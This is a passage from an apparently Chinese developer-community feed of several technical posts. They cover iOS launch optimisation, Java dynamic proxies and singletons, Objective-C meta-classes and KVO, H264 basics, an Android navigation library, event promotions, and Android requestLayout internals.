修饰的函数,到此为止,可执行文件的和动态库中所有的符号(类、协议、方法等)都已经按照格式加载到内存中,被 Runtime 管理。在 Runtime 阶段完成后,dyld 会调用 main 函数,接下来是 UIApplication 函数,AppDelegate 的 application: didFinishLaunchingWithOptions:
函数。
针对不同的阶段,有不同的优化思路:
dyld
1.减少动态库、合并动态库,定期清理不必要的动态库;
2.减少类、分类的数量,减少 Selector 的数量,定期清理不必要的类、分类;
3.减少 C++ 虚函数数量;
4.Swift 开发尽量使用 struct;
虚函数和 Java 中的抽象函数有点类似,但区别是,基类定义的虚函数,子类可以实现也可以不实现,而抽象函数子类一定要实现。
Runtime
用 inilialize 方法和 dispatch_once 取代所有的 __attribute_((constructor))、C++ 静态构造器、以及 Objective-C 中的 load 方法;
main
将一些耗时操作延迟执行,不要全部都放在 finishLaunching 方法中;
安装包(ipa)主要由可执行文件和资源文件组成,若不管理妥善则会造成安装包体积越来越大,所以针对资源优化我们可以将资源采取无损压缩,去除没用的资源。
对于可执行文件的瘦身,我们可以:
1.从编译器层面优化
1.Strip Linked Product、Make Strings Read-Only、Symbols Hidden by Default 设置为 YES
2.去掉异常支持,Enable C++ Exceptions、Enable Objective-C Exceptions 设置为 NO,Other C Flags 添加 -fno-exceptions;
3.利用 AppCode,检测未使用代码检测:菜单栏 -> Code -> Inspect Code;
4.编写 LLVM 插件检测重复代码、未调用代码;
5.通过生成 LinkMap 文件检测;
Build Setting -> LD_MAP_FILE_PATH: 设置文件路径 ,Build Setting -> LD_GENERSTE_MAP_FILE -> YES
运行程序可看到:
打开可看见各种信息:
我们可根据这个信息针对某个类进行优化。
摘自链接:https://www.jianshu.com/p/fe566ec32d28
个人感觉,retrofit中的动态代理比较典型,我就拿出来解读一下:
先来阅读一下retrofit 的源码,看retrofit怎么来实现动态代理
ApiService apiService = retrofit.create(ApiService.class);
public <T> T create(final Class<T> service) {
Utils.validateServiceInterface(service);
if (validateEagerly) {
eagerlyValidateMethods(service);
}
return (T) Proxy.newProxyInstance(service.getClassLoader(), new Class<?>[] { service },
new InvocationHandler() {
private final Platform platform = Platform.get();
@Override public Object invoke(Object proxy, Method method, @Nullable Object[] args)
throws Throwable {
// If the method is a method from Object then defer to normal invocation.
if (method.getDeclaringClass() == Object.class) {
return method.invoke(this, args);
}
if (platform.isDefaultMethod(method)) {
return platform.invokeDefaultMethod(method, service, proxy, args);
}
ServiceMethod<Object, Object> serviceMethod =
(ServiceMethod<Object, Object>) loadServiceMethod(method);
OkHttpCall<Object> okHttpCall = new OkHttpCall<>(serviceMethod, args);
return serviceMethod.callAdapter.adapt(okHttpCall);
}
});
}
retrofit这段代码主要作用是将类里的注解等参数解析,并包装成网络请求真正的数据,来进行请求数据。
咱模仿retrofit写一套动态代理:
定义注解:
@LeftFace
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
@Inherited
public @interface LeftFace {
String value() default "左面脸";
}
@UpFace
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
@Inherited
public @interface UpFace {
String value() default "上面脸";
}
创建接口
public interface IFaceListener {
@LeftFace
String getFace(String name);
@UpFace
String getFacePoint(String name);
}
创建动态代理
public class FaceCreate {
public <T> T create(final Class<T> face){
return (T) Proxy.newProxyInstance(face.getClassLoader(), new Class<?>[]{face}, new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
String result = null;
if(method.isAnnotationPresent(LeftFace.class)){
LeftFace leftFace = method.getAnnotation(LeftFace.class);
result = leftFace.value();
}
if(method.isAnnotationPresent(UpFace.class)){
UpFace upFace = method.getAnnotation(UpFace.class);
result = upFace.value();
}
result = HString.concatObject(null,args)+result;
return result;
}
});
}
}
如此我们就模仿的建造了动态代理,动态代理在开发中相对与静态代理,灵活性更强。
new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args)
Object proxy:我们的真实对象
Method method:对象的方法
Object[] args:对象的参数
Proxy.newProxyInstance(face.getClassLoader(), new Class<?>[]{face}, new InvocationHandler() {
ClassLoader loader:定义了由哪个ClassLoader对象来对生成的代理对象进行加载
Class<?>[] interfaces:一个Interface对象的数组,表示的是我将要给我需要代理的对象提供一组什么接口,如果我提供了一组接口给它,那么这个代理对象就宣称实现了该接口(多态),这样我就能调用这组接口中的方法了
InvocationHandler :InvocationHandler对象
是一种对象创建模式,可以确保项目中一个类只产生一个实例。
对于频繁使用的对象可以减少创建对象所花费的时间,这对于重量级对象来说,简直是福音。由于new的减少,对系统内存使用频率也会降低,减少GC的压力,并缩短GC停顿时间,这也会减少Android项目的UI卡顿。
1、饿汉模式
public class TestSingleton {
private static final TestSingleton testSingleton = new TestSingleton();
private TestSingleton(){
}
public static TestSingleton getInstance(){
return testSingleton;
}
}
细节我就不多写了,大家都应该知道,构造函数为private,用getInstance来获取实例
2.、懒汉模式
public class TestSingleton {
private static TestSingleton testSingleton;
private TestSingleton(){
}
public static TestSingleton getInstance(){
if(testSingleton==null){
testSingleton = new TestSingleton();
}
return testSingleton;
}
}
比饿汉式的优点在于用时再加载,比较重量级的单例,就不适用与饿汉了。
3、线程安全的懒汉模式
public class TestSingleton {
private static TestSingleton testSingleton;
private TestSingleton(){
}
public static TestSingleton getInstance(){
if(testSingleton==null){
synchronized (TestSingleton.class){
testSingleton = new TestSingleton();
}
}
return testSingleton;
}
}
可以看到的是比上面的单例多了一个对象锁,着可以保证在创建对象的时候,只有一个线程能够创建对象。
4、线程安全的懒汉模式-DCL双重检查锁机制
public class TestSingleton {
private static volatile TestSingleton testSingleton;
private TestSingleton(){
}
public static TestSingleton getInstance(){
if(testSingleton==null){
synchronized (TestSingleton.class){
if(testSingleton==null){
testSingleton = new TestSingleton();
}
}
}
return testSingleton;
}
}
双重检查,同步块加锁机制,保证你的单例能够在加锁后的代码里判断空,还有增加了一个volatile 关键字,保证你的线程在执行指令时候按顺序执行。这也是市面上见的最多的单例。
敲黑板!!知识点:原子操作、指令重排。
什么是原子操作?
简单来说,原子操作(atomic)就是不可分割的操作,在计算机中,就是指不会因为线程调度被打断的操作。
m = 6; // 这是个原子操作
假如m原先的值为0,那么对于这个操作,要么执行成功m变成了6,要么是没执行m还是0,而不会出现诸如m=3这种中间态——即使是在并发的线程中。
而,声明并赋值就不是一个原子操作:
int n = 6; // 这不是一个原子操作
对于这个语句,至少有两个操作:
这样就会有一个中间状态:变量n已经被声明了但是还没有被赋值的状态。
在多线程中,由于线程执行顺序的不确定性,如果两个线程都使用m,就可能会导致不稳定的结果出现。
什么是指令重排?
简单来说,就是计算机为了提高执行效率,会做的一些优化,在不影响最终结果的情况下,可能会对一些语句的执行顺序进行调整。
int a ; // 语句1
a = 8 ; // 语句2
int b = 9 ; // 语句3
int c = a + b ; // 语句4
正常来说,对于顺序结构,执行的顺序是自上到下,也即1234。
但是,由于指令重排的原因,因为不影响最终的结果,所以,实际执行的顺序可能会变成3124或者1324。
由于语句3和4没有原子性的问题,语句3和语句4也可能会拆分成原子操作,再重排。
也就是说,对于非原子性的操作,在不影响最终结果的情况下,其拆分成的原子操作可能会被重新排列执行顺序。
主要在于testSingleton = new TestSingleton()这句,这并非是一个原子操作,事实上在 JVM 中这句话大概做了下面 3 件事情。
但是在 JVM 的即时编译器中存在指令重排序的优化。也就是说上面的第二步和第三步的顺序是不能保证的,最终的执行顺序可能是 1-2-3 也可能是 1-3-2。如果是后者,则在 3 执行完毕、2 未执行之前,被线程二抢占了,这时 testSingleton 已经是非 null 了(但却没有初始化),所以线程二会直接返回 instance,然后使用,然后顺理成章地报错。
--------------------------------------------一部分的文章可能讲到如上就嘎然而止了----------------------------------------
推荐后两种
public class TestSingleton {
private TestSingleton(){
}
public static TestSingleton getInstance(){
return TestSingletonInner.testSingleton;
}
private static class TestSingletonInner{
static final TestSingleton testSingleton = new TestSingleton();
}
}
static 保证数据独一份
final 初始化完成后不能被修改,线程安全。
敲黑板!!知识点:java在加载类的时候不会将其内部的静态内部类加载,只有在使用该内部类方法时才被调用。这明显是最好的单例,并不需要什么锁一类的机制。
利用了类中静态变量的唯一性
优点:
public enum TestSingleton {
INSTANCE;
public void toSave(){
}
}
使用TestSingleton.INSTANCE.toSave();
创建枚举实例的过程是线程安全的,所以这种写法也没有同步的问题。如果你要自己添加一些线程安全的方法,记得控制线程安全哦。
优点:写法简单/线程安全
1、application
本身就是单例,生命周期为整个程序的生命周期,可以通过这个特性,能够用来存储一些数据
2、单例模式引起的内存泄漏
在使用Context注意用application中的context
收起阅读 »OC对象主要分为三类:instance(实例对象),class (类对象),meta-class(元类对象)
NSObject *objc1 = [[NSObject alloc]init];
NSObject *objc2 = [[NSObject alloc]init];
NSLog(@"instance----%p %p",objc1,objc2);
instance实例对象存储的信息:
1.isa指针
Class Classobjc1 = [objc1 class];
Class Classobjc2 = [objc2 class];
Class Classobjc3 = object_getClass(objc1);
Class Classobjc4 = object_getClass(objc2);
Class Classobjc5 = [NSObject class];
NSLog(@"class---%p %p %p %p %p ",Classobjc1,Classobjc2,Classobjc3,Classobjc4,Classobjc5);
打印结果
2020-09-22 15:48:00.125034+0800 OC底层[1095:69869] class---0x7fff9381e140 0x7fff9381e140 0x7fff9381e140 0x7fff9381e140 0x7fff9381e140
从打印的结果我们可以看到,所有指针指向的类对象的地址是一样的,也就是说一个类的类对象只有唯一的一个
类对象存储的信息:
1.isa指针
2.superclass指针
3.类的方法(method,即减号方法),类的属性(@property),协议信息,成员变量信息(这里的成员变量不是指的值,因为每个对象的值是由每个实例对象所决定的,这里指的是成员变量的类型,比如整形,字典,字符串,以及成员变量的名字)
元类对象
1.元类对象的获取
Class metaObjc1 = object_getClass([NSObject class]);
Class metaObjc2 = object_getClass(Classobjc1);
Class metaObjc3 = object_getClass(Classobjc3);
Class metaObjc4 = object_getClass(Classobjc5);
打印指针地址
NSLog(@"meta---%p %p %p %p",metaObjc1,metaObjc2,metaObjc3,metaObjc4);
2020-09-22 16:12:10.191008+0800 OC底层[1131:77555] instance----0x60000000c2e0 0x60000000c2f0
2020-09-22 16:12:10.191453+0800 OC底层[1131:77555] class---0x7fff9381e140 0x7fff9381e140 0x7fff9381e140 0x7fff9381e140 0x7fff9381e140
2020-09-22 16:12:10.191506+0800 OC底层[1131:77555] meta---0x7fff9381e0f0 0x7fff9381e0f0 0x7fff9381e0f0 0x7fff9381e0f0
获取元类对象的方法就是利用runtime方法,传入类对象,就可以获取该类的元类对象,从打印的结果可以看出,所有的指针地址一样,也就是说一个类的元类只有唯一的一个
Class objc = [[NSObject class] class];
Class objcL = [[[NSObject class] class] class];
元类存储结构:
元类的存储结构和类存储结构是一样的,但是存储的信息和用途不一样,元类的存储信息主要包括:
1.isa指针
2.superclass指针
3.类方法(即加号方法)
从图中我们可以看出元类的存储结构和类存储结构一样,只是有一些值为空
类对象(class)的isa指针指向元类对象(meta-class),当调用类方法时,类对象的isa指针指向元类对象,并在元类里面找到类方法并调用
/// Person继承自NSObject
@interface Person : NSObject
-(void)perMethod;
+(void)perEat;
@end
@implementation Person
-(void)perMethod{
}
+(void)perEat{
}
@end
/// student继承自Person
@interface Student : Person
-(void)StudentMethod;
+(void)StudentEat;
@end
@implementation Student
-(void)StudentMethod{
}
+(void)StudentEat{
}
Student *student = [[Student alloc]init];
[student StudentMethod]
当子类调用父类的类方法的时候,子类的superclass指向父类,并查找到相应的类方法,调用
[Student perEat];
总的来说,isa,superclass的的关系可以用一副经典的图来表示
#import <Foundation/Foundation.h>
NS_ASSUME_NONNULL_BEGIN
@interface TCPerson : NSObject
@property (nonatomic, copy) NSString *name;
@end
NS_ASSUME_NONNULL_END
#import "ViewController.h"
#import "TCPerson.h"
@interface ViewController ()
@property (nonatomic, strong) TCPerson *person1;
@end
@implementation ViewController
- (void)viewDidLoad {
[super viewDidLoad];
self.person1 = [[TCPerson alloc]init];
self.person1.name = @"liu yi fei";
[self.person1 addObserver:self forKeyPath:@"name" options:NSKeyValueObservingOptionNew|NSKeyValueObservingOptionOld context:nil];
}
/// 点击屏幕出发改变self.person1的name
/// @param touches touches description
/// @param event event description
- (void)touchesBegan:(NSSet<UITouch *> *)touches withEvent:(UIEvent *)event{
self.person1.name = @"cang lao shi";
}
/// 监听回调
/// @param keyPath 监听的属性名字
/// @param object 被监听的对象
/// @param change 改变的新/旧值
/// @param context context description
- (void)observeValueForKeyPath:(NSString *)keyPath ofObject:(id)object change:(NSDictionary<NSKeyValueChangeKey,id> *)change context:(void *)context{
NSLog(@"监听到%@对象的%@发生了改变%@",object,keyPath,change);
}
/// 移除观察者
- (void)dealloc{
[self.person1 removeObserver:self forKeyPath:@"name"];
}
@end
2020-09-24 15:53:52.527734+0800 KVO_TC[9255:98204] 监听到<TCPerson: 0x600003444d10>对象的name发生了改变{
kind = 1;
new = "cang lao shi";
old = "liu yi fei";
}
- (void)touchesBegan:(NSSet<UITouch *> *)touches withEvent:(UIEvent *)event{
// self.person1.name = @"cang lao shi";
[self.person1 setName:@"cang lao shi"];
}
- (void)setName:(NSString *)name{
_name = name;
}
#import "ViewController.h"
#import "TCPerson.h"
@interface ViewController ()
@property (nonatomic, strong) TCPerson *person1;
@property (nonatomic, strong) TCPerson *person2;
@end
@implementation ViewController
- (void)viewDidLoad {
[super viewDidLoad];
self.person1 = [[TCPerson alloc]init];
self.person1.name = @"liu yi fei";
[self.person1 addObserver:self forKeyPath:@"name" options:NSKeyValueObservingOptionNew|NSKeyValueObservingOptionOld context:nil];
self.person2 = [[TCPerson alloc] init];
self.person2.name = @"yyyyyyyy";
}
/// 点击屏幕出发改变self.person1的name
/// @param touches touches description
/// @param event event description
- (void)touchesBegan:(NSSet<UITouch *> *)touches withEvent:(UIEvent *)event{
self.person1.name = @"cang lao shi";
// [self.person1 setName:@"cang lao shi"];
self.person2.name = @"ttttttttt";
}
/// 监听回调
/// @param keyPath 监听的属性名字
/// @param object 被监听的对象
/// @param change 改变的新/旧值
/// @param context context description
- (void)observeValueForKeyPath:(NSString *)keyPath ofObject:(id)object change:(NSDictionary<NSKeyValueChangeKey,id> *)change context:(void *)context{
NSLog(@"监听到%@对象的%@发生了改变%@",object,keyPath,change);
}
/// 移除观察者
- (void)dealloc{
[self.person1 removeObserver:self forKeyPath:@"name"];
}
@end
2020-09-24 16:10:36.750153+0800 KVO_TC[9313:105906] 监听到<TCPerson: 0x600002ce8230>对象的name发生了改变{
kind = 1;
new = "cang lao shi";
old = "liu yi fei";
}
(lldb) p self.person1.isa
(Class) $0 = NSKVONotifying_TCPerson
Fix-it applied, fixed expression was:
self.person1->isa
(lldb) p self.person2.isa
(Class) $1 = TCPerson
Fix-it applied, fixed expression was:
self.person2->isa
(lldb)
#import "NSKVONotifying_TCPerson.h"
@implementation NSKVONotifying_TCPerson
//NSKVONotifying_TCPerson的set方法实现,其本质来自于foundation框架
- (void)setName:(NSString *)name{
_NSSetIntVaueAndNotify();
}
//改变过程
void _NSSetIntVaueAndNotify(){
[self willChangeValueForKey:@"name"];
[super setName:name];
[self didChangeValueForKey:@"name"];
}
//通知观察者
- (void)didChangeValueForKey:(NSString *key){
[observe observeValueForKeyPath:(NSString *)keyPath ofObject:(id)object change:(NSDictionary<NSKeyValueChangeKey,id> *)change context:(void *)context];
}
@end
1.图像(image)
2.音频(Audio)
3.元素信息(Meta-data)
1.Video:H264
2.Audio:AAC(后面文章讲)
3.容器封装:MP4/MOV/FLV/RM/RMVB/AVI
当我们需要对发送的视频文件进行编码时,只要是H264文件,AVFoundation都提供视频编解码器支持,这个标准被广泛应用于消费者视频摄像头捕捉到的资源并成为网页流媒体视频最主要的格式。H264规范是MPEG4定义的一部分,H264遵循早期的MPEG-1/MPEG-2标准,但是在以更低比特率得到 更高图片质量方面有了进步。
编码的本质
举个例子: (具体大小我没数过,只做讲解参考)
你的老公,Helen,将于明天晚上6点零5份在重庆的江北机场接你
----------------------23 * 2 + 10 = 56个字符--------------------------
你的老公将于明天晚上6点零5分在江北机场接你
----------------------20 * 2 + 2 = 42个字符----------------------------
Helen将于明天晚上6点在机场接你
----------------------10 * 2 + 2 = 26个字符----------------------------
我们人眼看实物的时候,一般的一秒钟只要是连续的16帧以上,我们就会认为事物是动的,对于摄像头来说,一秒钟所采集的图片远远高于了16帧,可以达到几十帧,对于一些高质量的摄像头,一秒钟可以达到60帧,对于一般的事物来说,你一秒钟能改变多少个做动作?所以,当摄像头在一秒钟内采集视频的时候,前后两帧的图片数据里有大量的相同数据,对于这些数据我们该怎么处理了?当然前后两帧也有不同的数据,对于这些相同或者不同的数据的处理过程,就是编码
如果在一秒钟内,有30帧.这30帧可以画成一组.如果摄像机或者镜头它一分钟之内它都没有发生大的变化.那也可以把这一分钟内所有的帧画做一组.
什么叫一组帧?
就是一个I帧到下一个I帧.这一组的数据.包括B帧/P帧.我们称为GOP
事情起源
activity 或者 fragment 每次跳转传值的时候,你是不是都很厌烦那种,参数传递。 那么如果数据极其多的情况下,你的代码将苦不堪言,即使在很好的设计下,也会很蛋疼。那么今天我给大家推荐一个工具 和咱原生跳转进行比较
比较:
1.跳转方式比较
bash Intenti=new Intent(this,MainActivity.class);
startActivity(i);
vs
ApMainActivity.newInstance().start(this)
//发送 Intenti=new Intent(this,MainActivity.class);
Bundle bundle = new Bundle();
bundle.putInt("message", "123");
i.putExtra("Bundle", bundle);
startActivity(i);
//接收
String s=bundle.getString("message","");
vs
//发送
ApMainActivity.newInstance().apply { message = "123" } .start(this)
//接收
AutoJ.inject(this);
实体发送
//发送
ApAllDataActivity.newInstance().apply { message = "123" myData = MyData("hfafas",true,21) } .start(this)
//接收
AutoJ.inject(this);
目前 版本号 v1.0.7 更新内容:(专门为kotlin设计的快速跳转工具,如果你的项目只支持java语言请不要用该版本,建议用v1.0.2 地址 Version number v1.0.2)
1. 代码采用kotlin 语法糖
2. 支持默认值功能
3. 不再支持Serializable数据传输,改为性能更好的 Parcelable 大对象传输
4. 支持多进程activity 跳转
5. 降低内存占用,可回收内存提升
AutoPage
github地址 https://github.com/smartbackme/AutoPage
如果觉得不错 github 给个星 Android 容易的跳转工具
注意事项:
必须有如下两个要求
androidx
kotlin & java
支持传输类型
bundle 支持的基本类型都支持(除ShortArray) 以下类型都支持,如果类型不是如下类型,可能会报kapt错误
:Parcelable
String
Long
Int
Boolean
Char
Byte
Float
Double
Short
CharSequence
CharArray
IntArray
LongArray
BooleanArray
DoubleArray
FloatArray
ByteArray
ArrayList
ArrayList<:Parcelable>
Array<:Parcelable>
project : build.gradle 项目的gradle配置
buildscript { repositories { maven { url 'https://www.jitpack.io' } }
在你的每个需要做容易跳转的模块添加如下配置
3. 你的项目必须要支持 kapt
4. kotlin kapt
5. 你的项目必须支持 @Parcelize 注解 也就是必须添加
apply plugin: 'kotlin-android-extensions'
apply plugin: 'kotlin-android-extensions'
apply plugin: 'kotlin-kapt'
android { androidExtensions { experimental = true } }
kapt com.github.smartbackme.AutoPage:autopage-processor:1.0.7
implementation com.github.smartbackme.AutoPage:autopage:1.0.7
重点
kotlin:
1. 字段必须标注 @JvmField 和 @AutoPage
2. onCreate 中 在你的需要跳转的页面加入 AutoJ.inject(this)
java:
1. 字段必须标注 @AutoPage
2. onCreate 中 在你的需要跳转的页面加入 AutoJ.inject(this)
简单的跳转
@AutoPage
class SimpleJump1Activity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_simple_jump1)
}
}
之后调用
ApSimpleJump1Activity.newInstance().start(this)
例2
简单的跳转并且带参数
class MainActivity2 : AppCompatActivity() {
@AutoPage
@JvmField
var message:String? = null
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main2)
AutoJ.inject(this)
findViewById(R.id.text).text = message
}
之后调用
ApMainActivity2.newInstance().apply { message = "123" } .start(this)
例3:
跳转带有result
@AutoPage
class SimpleJumpResultActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activitysimplejump_result)
}
override fun onBackPressed() {
var intent = Intent()
intent.putExtra("message","123")
setResult(RESULT_OK,intent)
super.onBackPressed()
}
之后调用
ApSimpleJumpResultActivity.newInstance().apply { requestCode = 1 }.start(this)
例4:
实体传输
实体
@Parcelize
data class MyData(var message:String,var hehehe: Boolean,var temp :Int):Parcelable
class AllDataActivity : AppCompatActivity() {
@AutoPage
@JvmField
var myData:MyData? = null
@AutoPage
@JvmField
var message:String? = "this is default value"
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_all_data)
AutoJ.inject(this)
Toast.makeText(this,myData?.toString()+message,Toast.LENGTH_LONG).show()
}
之后调用
ApAllDataActivity.newInstance().apply { message = "123" myData = MyData("hfafas",true,21)
默认值
class DefaultValueActivity : AppCompatActivity() {
@AutoPage
@JvmField
var message:String? = "this is default value"
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_default_value)
AutoJ.inject(this)
// var args = intent.getParcelableExtra("123")
findViewById(R.id.button6).text = message
}
}
之后调用
ApDefaultValueActivity.newInstance().apply { } .start(this)
# 在 fragment 中使用
class FragmentSimpleFragment : Fragment() {
@AutoPage
@JvmField
var message:String? = null
companion object {
fun newInstance() = FragmentSimpleFragment()
}
private lateinit var viewModel: SimpleViewModel
override fun onCreateView(
inflater: LayoutInflater, container: ViewGroup?,
savedInstanceState: Bundle?
): View {
return inflater.inflate(R.layout.simple_fragment, container, false)
}
override fun onActivityCreated(savedInstanceState: Bundle?) {
super.onActivityCreated(savedInstanceState)
AutoJ.inject(this)
viewModel = ViewModelProvider(this).get(SimpleViewModel::class.java)
view?.findViewById(R.id.message)?.text = message
}
}
之后调用
ApFragmentSimpleFragment.newInstance().apply { message = "123" }.build()
下载地址:AutoPage-master.zip
收起阅读 »4月23日晚20:00
邀您一起收看线上直播【科创人· 案例研习社】
听环信CTO赵贵斌为您讲述【开门5件事:一个CTO的随想】
当今国内移动应用市场竞争日趋激烈,对于更广大的移动应用及开发者群体来说,如何开辟新的商业价值航路,成了当务之急,因此“出海”成了业界寻找出路的普遍战略选择。
除了少数垂直领域的头部产品之外,更多的开发者和应用都表现出了“水土不服”的症候:产品本地化不理想,政策合规难捉摸,缺少资源两眼一抹黑……这些都是老生常谈的出海难题了。
当众多移动应用产品开始将出海作为“紧急避险”,那么这些问题就从“槽点”变成了必须尽快破解的燃眉之急。
蝉学院大咖分享会本期课程
蝉大师将联合环信的大咖
一起来聊聊看国内移动应用该怎么做~
____ 『蝉学院2021』 ____
2020年,蝉大师已面向全球移动应用开发者、中高端运营推广人员推出涵盖线上及线下的一系列公开课程。
为千万用户提供了业内最新热点、用户运营、流量变现、产品推广等实战经验;并帮助相关人员了解当前互联网行业的趋势及增量技巧。
2021年,蝉学院·大咖分享会系列将邀请众多行业一线大咖,快速捕捉热点、深度剖析观点,为大家提供一个交流分享、观点碰撞的全新平台。
我们已整装待发,期待您与我们并肩同行!
____ 『活动合集』 ____
____ 『主办方』 ____
蝉大师是App大数据分析与应用全球推广优化专家。作为Apple官方数据提供商,平台每日跟踪全球数百万款App以及各大海外信息平台实时动态,每日获取数据超过15T,为全球的上千万移动互联网应用从业者和推广者提供基础数据分析和支持。是国内首家提供全球155个国家与地区的榜单、关键词、热搜以及苹果搜索广告数据的公司,并在全国首家实现苹果ASM竞价搜索广告60个国家地区的数据查询。官网:chandashi.com
环信是国内领行的企业级软件服务提供商,荣膺“Gartner 2016 Cool Vendor”。旗下主要产品线包括即时通讯能力PaaS平台——环信即时通讯云,全场景音视频PaaS平台——环信实时音视频云,全媒体智能客服SaaS平台——环信客服云,以及企业级人工智能服务能力平台——环信机器人,是国内较早覆盖云通讯、云客服、智能机器人的一体化产品技术储备企服公司。
收起阅读 »RTE(Real Time Engagement)2021 创新编程挑战赛,是由声网Agora 主办,面向全球开发者、编程爱好者与极客的一场在线黑客马拉松。参赛者可以基于声网Agora 产品实现社交泛娱乐、在线教学、互动游戏、互动直播、IoT 等任何实时互动场景应用,竞争最终大奖。
赛道一:应用创新
赛道二:技术创新
大赛评委
开赛线上培训
不清楚有哪些 SDK 可以使用?还不知道能用 SDK 做什么场景?作品完成后,怎么让它成为热门开源项目?
为了解答大家的这些疑问,我们还将在 4 月 27 日、28 日组织两场线上直播,分别邀请声网、环信的产品负责人、历届编程大赛冠军分享他们的经验。
步骤
1.登录苹果开发者中心 选择对应的appid ☑️勾选 Associated Domains 此处标记的Team ID 和 bundle ID 后面文件会用到
2. 用text 创建 apple-app-site-association 文件 去掉后缀!!!!!
3.打开xcode 工程 配置下图文件
4.在appdelegate 里面 回调接收url 获取链接里面的参数
5.最重要的一步来了!!!!!
用txt 把创建好的 apple-app-site-association 给后台 开发人员 将此文件 放到服务器的根目录下面 例如 https://www.baidu.com/apple-app-site-association
重点!!!!!!!! 必须用https
最近有个粉丝跟我提了一个很有深度的问题。
粉丝:锁屏后,调用View.requestLayout()方法后会不会postSyncBarrier?
乍一看有点超纲了。细细一想,我把这个问题拆分成了两个问题,本文我将紧紧围绕这两个问题,讲解requestLayout背后的故事。
其一:锁屏后,调用View.requestLayout(),会往上层层调用requestLayout()吗?
其二:锁屏后,调用View.requestLayout(),会触发View的测量和布局操作吗?
postSyncBarrier我知道,Handler的同步屏障机制嘛,但是锁屏之后为什么还要调用requestLayout()呢?于是我脑补了一个场景。
假设在Activity onResume()中每隔一秒调用View.requestLayout(),但是在onStop()方法中没有停止调用该方法。当用户锁屏或者按Home键时。
我脑补的这个场景,用罗翔老师的话来讲是 “法律允许,但是不提倡”。当Activity不在前台的时候,就应该把requestLayout()方法停掉嘛,我们知道的,这个方法会从调用的View一层一层往上调用直到ViewRootImpl.requestLayout()方法,然后会从上往下触发View的测量和布局甚至绘制方法。非常之浪费嘛!错误非常之低级!但是果真如此吗?
电竞主播芜湖大司马,有一句网络流行语你以为我在第一层,其实我在第十层。下面我将用层级来表示对requestLayout方法的了解程度,层级越高,表示了解越深刻。
了解我的粉丝都知道,我喜欢用树形图来分析Android View源码。上图:
假设调用I.requestLayout(),会触发哪些View的requestLayout方法?
答:会依次触发I.requestLayout() -> C.requestLayout() -> A.requestLayout() -> ...省略一些View -> ViewRootImpl.requestLayout()
//View.java
public void requestLayout() {
// 1. 清除测量记录
if (mMeasureCache != null) mMeasureCache.clear();
// 2. 增加PFLAG_FORCE_LAYOUT给mPrivateFlags
mPrivateFlags |= PFLAG_FORCE_LAYOUT;
mPrivateFlags |= PFLAG_INVALIDATED;
// 3. 如果mParent没有调用过requestLayout,则调用之。换句话说,如果调用过,则不会继续调用
if (mParent != null && !mParent.isLayoutRequested()) {
mParent.requestLayout();
}
}
复制代码
该方法作用如下:
重点看下mParent.isLayoutRequested()方法,它在View.java中有具体实现
//View.java
public boolean isLayoutRequested() {
return (mPrivateFlags & PFLAG_FORCE_LAYOUT) == PFLAG_FORCE_LAYOUT;
}
复制代码
如果mPrivateFlags增加PFLAG_FORCE_LAYOUT标志位,则认为View已经请求过布局。由前文可知,在requestLayout的第二步会增加该标志位。熟悉位操作的朋友就会知道,有增加操作就会有对应的清除操作。 经过一番搜索,找到:
//View.java
public void layout(int l, int t, int r, int b) {
// ... 省略代码
//在View调用完layout方法,会将PFLAG_FORCE_LAYOUT标志位清除掉
mPrivateFlags &= ~PFLAG_FORCE_LAYOUT;
mPrivateFlags3 |= PFLAG3_IS_LAID_OUT;
// ... 省略代码
}
复制代码
在View调用完layout方法,会将PFLAG_FORCE_LAYOUT标志位清除掉。当View下次再调用requestLayout方法时,依旧能往上层层调用。但是如果当layout()方法没有执行时,下次再调用requestLayout方法时,就不会往上层层调用了。
所以先回答文章开始的第一个问题:
其一:锁屏后,调用View.requestLayout(),会往上层层调用requestLayout()吗?
答:锁屏后,除了第一次调用会往上层层调用,其它的都不会
为什么,只有第一次调用会呢?那必定是因为layout方法没有得到执行,导致PFLAG_FORCE_LAYOUT无法被清除。欲知后事,接着往下看呗
如果你知道requestLayout调用是一个层级调用,那么恭喜你,你已经处于认知的第一层了。送你一张二层入场券。
我们来看看第一层讲到的ViewRootImpl.requestLayout()
//ViewRootImpl.java
@Override
public void requestLayout() {
if (!mHandlingLayoutInLayoutRequest) {
checkThread();
mLayoutRequested = true;
scheduleTraversals();
}
}
void scheduleTraversals() {
if (!mTraversalScheduled) {
mTraversalScheduled = true;
//1. 往主线程的Handler对应的MessageQueue发送一个同步屏障消息
mTraversalBarrier = mHandler.getLooper().getQueue().postSyncBarrier();
//2. 将mTraversalRunnable保存到Choreographer中
mChoreographer.postCallback(
Choreographer.CALLBACK_TRAVERSAL, mTraversalRunnable, null);
if (!mUnbufferedInputDispatch) {
scheduleConsumeBatchedInput();
}
notifyRendererOfFramePending();
pokeDrawLockIfNeeded();
}
}
复制代码
该方法主要作用如下:
此处有三个特别重要的知识点:
mTraversalRunnable相对比较简单,它的作用就是从ViewRootImpl 从上往下执行performMeasure、performLayout、performDraw。[重点:敲黑板]它的执行时机是当Vsync信号来到时,会往主线程的Handler对应的MessageQueue中发送一条异步消息,由于在scheduleTraversals()中给MessageQueue中发送过一条同步屏障消息,那么当执行到同步屏障消息时,会将异步消息取出执行
当vsync信号量到达时,Choreographer会发送一个异步消息。当异步消息执行时,会调用ViewRootImpl.mTraversalRunnable回调。
final class TraversalRunnable implements Runnable {
@Override
public void run() {
doTraversal();
}
}
复制代码
void doTraversal() {
if (mTraversalScheduled) {
mTraversalScheduled = false;
mHandler.getLooper().getQueue().removeSyncBarrier(mTraversalBarrier);
if (mProfile) {
Debug.startMethodTracing("ViewAncestor");
}
performTraversals();
if (mProfile) {
Debug.stopMethodTracing();
mProfile = false;
}
}
}
复制代码
